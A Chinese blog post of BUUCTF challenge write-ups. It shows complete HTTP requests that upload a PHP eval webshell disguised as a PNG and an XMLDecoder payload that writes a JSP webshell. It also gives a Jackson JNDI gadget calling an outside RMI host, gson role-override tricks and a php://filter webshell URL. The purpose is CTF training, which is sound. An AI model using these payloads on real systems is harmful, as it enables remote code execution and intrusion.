Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://adfe451a-76ff-4d5e-8f3a-ced04e214cdd.node4.buuoj.cn:81
Referer: http://adfe451a-76ff-4d5e-8f3a-ced04e214cdd.node4.buuoj.cn:81/admin/plugs/upfile.html?mode=one&uptype=&type=ico,png&field=browser_icon
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: s7466e88d=c1e9af38ce9c1d7ed154e84a55cbfb20; menu-style=full; m-2-4=2
Connection: close

id=WU_FILE_0&md5=ab61ae319127e259d05926783c3c.php&uptype=local&filename=1.png

image.png
获取token后上传文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
POST /admin/plugs/upload.html HTTP/1.1
Host: adfe451a-76ff-4d5e-8f3a-ced04e214cdd.node4.buuoj.cn:81
Content-Length: 1457
X_Requested_With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.57
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysFVw5vBe8UwX86uJ
Accept: */*
Origin: http://adfe451a-76ff-4d5e-8f3a-ced04e214cdd.node4.buuoj.cn:81
Referer: http://adfe451a-76ff-4d5e-8f3a-ced04e214cdd.node4.buuoj.cn:81/admin/plugs/upfile.html?mode=one&uptype=&type=ico,png&field=browser_icon
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: s7466e88d=c1e9af38ce9c1d7ed154e84a55cbfb20; menu-style=full; m-2-4=2
Connection: close

------WebKitFormBoundarysFVw5vBe8UwX86uJ
Content-Disposition: form-data; name="OSSAccessKeyId"


------WebKitFormBoundarysFVw5vBe8UwX86uJ
Content-Disposition: form-data; name="success_action_status"

200
------WebKitFormBoundarysFVw5vBe8UwX86uJ
Content-Disposition: form-data; name="id"

WU_FILE_0
------WebKitFormBoundarysFVw5vBe8UwX86uJ
Content-Disposition: form-data; name="name"

fuck.png
------WebKitFormBoundarysFVw5vBe8UwX86uJ
Content-Disposition: form-data; name="type"

image/png
------WebKitFormBoundarysFVw5vBe8UwX86uJ
Content-Disposition: form-data; name="lastModifiedDate"

Sat Feb 18 2023 18:15:42 GMT+0800 (中国标准时间)
------WebKitFormBoundarysFVw5vBe8UwX86uJ
Content-Disposition: form-data; name="size"

1488463
------WebKitFormBoundarysFVw5vBe8UwX86uJ
Content-Disposition: form-data; name="allowed_types"

ico|png
------WebKitFormBoundarysFVw5vBe8UwX86uJ
Content-Disposition: form-data; name="token"

2d46b41f0eee1ed839c81c70a5ccbb0f
------WebKitFormBoundarysFVw5vBe8UwX86uJ
Content-Disposition: form-data; name="md5"

ab61ae319127e259d05926783c3c.php
------WebKitFormBoundarysFVw5vBe8UwX86uJ
Content-Disposition: form-data; name="key"

ab61ae319127e259/d05926783c3ca4cb.png
------WebKitFormBoundarysFVw5vBe8UwX86uJ
Content-Disposition: form-data; name="file"; filename="fuck.png"
Content-Type: image/png

GIF80a
<?php eval($_POST[1]);?>
------WebKitFormBoundarysFVw5vBe8UwX86uJ--

image.png
虽然显示上传失败,但是实际上是成功了的。
image.png

[GKCTF 2021]babycat

考点:任意文件读取、gson特性、xmldecode反序列化
虽然提示了不让注册,但是前端js泄露了信息
image.png
我们依然可以注册,注册后会有个任意文件读取,tomcatweb服务的任意读取点如下

1
2
3
4
5
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

我们可以读取class文件,然后在注册发现如下敏感代码
image.png
首先该json是用gson解析的,并且发现它会对我们json里的role:xxx替换,将xxx替换为guest,也就是不让我们注册管理员账号,因为后台有个上传页面是需要admin权限的
因此这里有2种方法去绕过,gson是支持注释符功能的
第一种:

1
{"username":"test","password":"test","role":"guest","role":/**/"admin"}

这一种让最后的role:admin不被识别替换,又由于json的特性,当有重名变量时,后者覆盖前者,因此这样可以注册admin账号。
第二种

1
{"username":"admin", "password":"123456","role":"admin"/*,"role":"test"*/}

后面的role用注释包裹了,因此gson解析时不识别,然后由于正则识别的为最后一个role,因此同样也绕过了
那么可以上传文件了
image.png
结合前面获取的路径位置,我们可以往static目录下送一个jsp马,但是不能直接上传,这里要配合Xmldecoder进行解码,读出来的basedao.class里面有关注册的流程中,会读取db/db.xml文件,所以我们直接上传一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /home/upload HTTP/1.1
Host: 6b8a4d8d-bdda-4e8c-b670-ce37b27148ce.node4.buuoj.cn:81
Content-Length: 700
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://6b8a4d8d-bdda-4e8c-b670-ce37b27148ce.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytu7QLqA1Nths7FbO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://6b8a4d8d-bdda-4e8c-b670-ce37b27148ce.node4.buuoj.cn:81/home/upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=CFFD13F828BC114DCB8B340C66B17EE6
Connection: close

------WebKitFormBoundarytu7QLqA1Nths7FbO
Content-Disposition: form-data; name="file"; filename="../../db/db.xml"
Content-Type: application/octet-stream

<java version="1.8.0_192" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/boogipop.jsp</string><void method="println">
<string><![CDATA[`<% javax.script.ScriptEngineManager manager = new javax.script.ScriptEngineManager(null);javax.script.ScriptEngine engine = manager.getEngineByName("js");engine.eval(request.getParameter("boogipop")); %>`
]]></string></void><void method="close"/>
</object>
</java>
------WebKitFormBoundarytu7QLqA1Nths7FbO--

最后随便注册一个账号触发流程,写入小马
image.png
反弹shell
image.png
拿下flag,这道题做起来总的来说还是比较不错的,难度也感觉挺适中的,长见识了,xmldecode反序列化可以参考
https://www.anquanke.com/post/id/248771#h2-1
https://www.cnblogs.com/peterpan0707007/p/10565968.html

[BSidesCF 2019]Mixer

考点:CBC分组加密
注册一个账号后你可以发现一个长度很有规律的md5,大概长
6cdb3e0b9a235cebc0bb4b9a3024f92ac4699d493842933c72b7010b58c8fad566272da8c501b02fce26ba8a551896152d2772665d216e5f77e3148cbdf8d7663cb01163c2d2823f94b057834efec0ff
这就是本题的payload,一共160个字,也就是32一组,这就该联想到CBC分组加密了。
image.png
他需要我们cookie里的is_admin是0,我们只需要注册时发送的json如下
{"first_name":"A1.00000000000000","last_name":"paww","is_admin":1.000000000000000}
这样分组之后情况如下

1
2
3
4
5
{"first_name":"A
1.00000000000000
","last_name":"p
aww","is_admin":
0}

我们只需要把第二组放到倒数第二组,最后结果就变成{"first_name":"A1.00000000000000","last_name":"paww","is_admin":1.000000000000000}
这样就可以获取上述截图中的flag,其实就是一道密码题

[红明谷CTF 2021]JavaWeb

考点:JackSon反序列化CVE、Shiro权限绕过
image.png
先绕过一下鉴权,然后发送报错包,可以看到是jackson,这里随便掏一个cve来打。
CVE-2019-14439
["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"rmi://114.116.119.253:1099/3l73zp"}]
image.png
image.png

[FBCTF2019]Products Manager

考点:mysql 空格 绕过 比较
初步判断为SQL二次注入
判断个勾八,这题考的是个trick,不难。。。
db.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?php

/*
CREATE TABLE products (
name char(64),
secret char(64),
description varchar(250)
);

INSERT INTO products VALUES('facebook', sha256(....), 'FLAG_HERE');
INSERT INTO products VALUES('messenger', sha256(....), ....);
INSERT INTO products VALUES('instagram', sha256(....), ....);
INSERT INTO products VALUES('whatsapp', sha256(....), ....);
INSERT INTO products VALUES('oculus-rift', sha256(....), ....);
*/
error_reporting(0);
require_once("config.php"); // DB config

$db = new mysqli($MYSQL_HOST, $MYSQL_USERNAME, $MYSQL_PASSWORD, $MYSQL_DBNAME);

if ($db->connect_error) {
die("Connection failed: " . $db->connect_error);
}

function check_errors($var) {
if ($var === false) {
die("Error. Please contact administrator.");
}
}

function get_top_products() {
global $db;
$statement = $db->prepare(
"SELECT name FROM products LIMIT 5"
);
check_errors($statement);
check_errors($statement->execute());
$res = $statement->get_result();
check_errors($res);
$products = [];
while ( ($product = $res->fetch_assoc()) !== null) {
array_push($products, $product);
}
$statement->close();
return $products;
}

function get_product($name) {
global $db;
$statement = $db->prepare(
"SELECT name, description FROM products WHERE name = ?"
);
check_errors($statement);
$statement->bind_param("s", $name);
check_errors($statement->execute());
$res = $statement->get_result();
check_errors($res);
$product = $res->fetch_assoc();
$statement->close();
return $product;
}

function insert_product($name, $secret, $description) {
global $db;
$statement = $db->prepare(
"INSERT INTO products (name, secret, description) VALUES
(?, ?, ?)"
);
check_errors($statement);
$statement->bind_param("sss", $name, $secret, $description);
check_errors($statement->execute());
$statement->close();
}

function check_name_secret($name, $secret) {
global $db;
$valid = false;
$statement = $db->prepare(
"SELECT name FROM products WHERE name = ? AND secret = ?"
);
check_errors($statement);
$statement->bind_param("ss", $name, $secret);
check_errors($statement->execute());
$res = $statement->get_result();
check_errors($res);
if ($res->fetch_assoc() !== null) {
$valid = true;
}
$statement->close();
return $valid;
}

add.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php

require_once("db.php");
require_once("header.php");

function validate_secret($secret) {
if (strlen($secret) < 10) {
return false;
}
$has_lowercase = false;
$has_uppercase = false;
$has_number = false;
foreach (str_split($secret) as $ch) {
if (ctype_lower($ch)) {
$has_lowercase = true;
} else if (ctype_upper($ch)) {
$has_uppercase = true;
} else if (is_numeric($ch)) {
$has_number = true;
}
}
return $has_lowercase && $has_uppercase && $has_number;
}

function handle_post() {
global $_POST;

$name = $_POST["name"];
$secret = $_POST["secret"];
$description = $_POST["description"];

if (isset($name) && $name !== ""
&& isset($secret) && $secret !== ""
&& isset($description) && $description !== "") {
if (validate_secret($secret) === false) {
return "Invalid secret, please check requirements";
}

$product = get_product($name);
if ($product !== null) {
return "Product name already exists, please enter again";
}

insert_product($name, hash('sha256', $secret), $description);

echo "<p>Product has been added</p>";
}

return null;
}

$error = handle_post();
if ($error !== null) {
echo "<p>Error: " . $error . "</p>";
}
?>
<form action="/add.php" method="POST">
Name of your product: <input type="text" name="name" />

Secret (10+ characters, smallcase, uppercase, number) : <input type="password" name="secret" />

Description: <input type="text" name="description" />

<input type="submit" value="Add" />
</form>

<?php require_once("footer.php");

view.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

require_once("db.php");
require_once("header.php");

function handle_post() {
global $_POST;

$name = $_POST["name"];
$secret = $_POST["secret"];

if (isset($name) && $name !== ""
&& isset($secret) && $secret !== "") {
if (check_name_secret($name, hash('sha256', $secret)) === false) {
return "Incorrect name or secret, please try again";
}

$product = get_product($name);

echo "<p>Product details:";
echo "<ul><li>" . htmlentities($product['name']) . "</li>";
echo "<li>" . htmlentities($product['description']) . "</li></ul></p>";
}

return null;
}

$error = handle_post();
if ($error !== null) {
echo "<p>Error: " . $error . "</p>";
}
?>
<form action="/view.php" method="POST">
Name: <input type="text" name="name" />

Secret: <input type="password" name="secret" />

<input type="submit" value="View" />
</form>

<?php require_once("footer.php");

view.php这里存在比较严重的逻辑漏洞,check_name_secret($name, hash('sha256', $secret)检查之后他查询的还是$name的信息,也就是假如我有2个重名的用户,你最终返回的会是其中的一个,然后我们要查询的是facebook的detail,在db.php说了flag在里面,那么我们现在需要做的就是注册一个和facebook名字”相同”的账号,也就是满足facebook=xxxx比较的,这样我们就可以绕过secret了,解决方法也是简单
直接注册一个facebook ,注意后面有空格,这样就可以绕过了。
image.png

[WMCTF2020]Web Check in 2.0

考点:双重编码绕死亡函数,反弹shell
[http://a691c5ec-6451-45df-8e38-fb434973e5ff.node4.buuoj.cn:81/?content=php://filter/write=string.%25%37%32%25%36%66%25%37%3413|%3C%3Fcuc%20riny(%24_CBFG%5B1%5D)%3B%3F%3E|/resource=s1mple.php](http://a691c5ec-6451-45df-8e38-fb434973e5ff.node4.buuoj.cn:81/?content=php://filter/write=string.%25%37%32%25%36%66%25%37%3413|%3C%3Fcuc%20riny(%24_CBFG%5B1%5D)%3B%3F%3E|/resource=s1mple.php)
image.png
image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#BUUCTF#刷题记录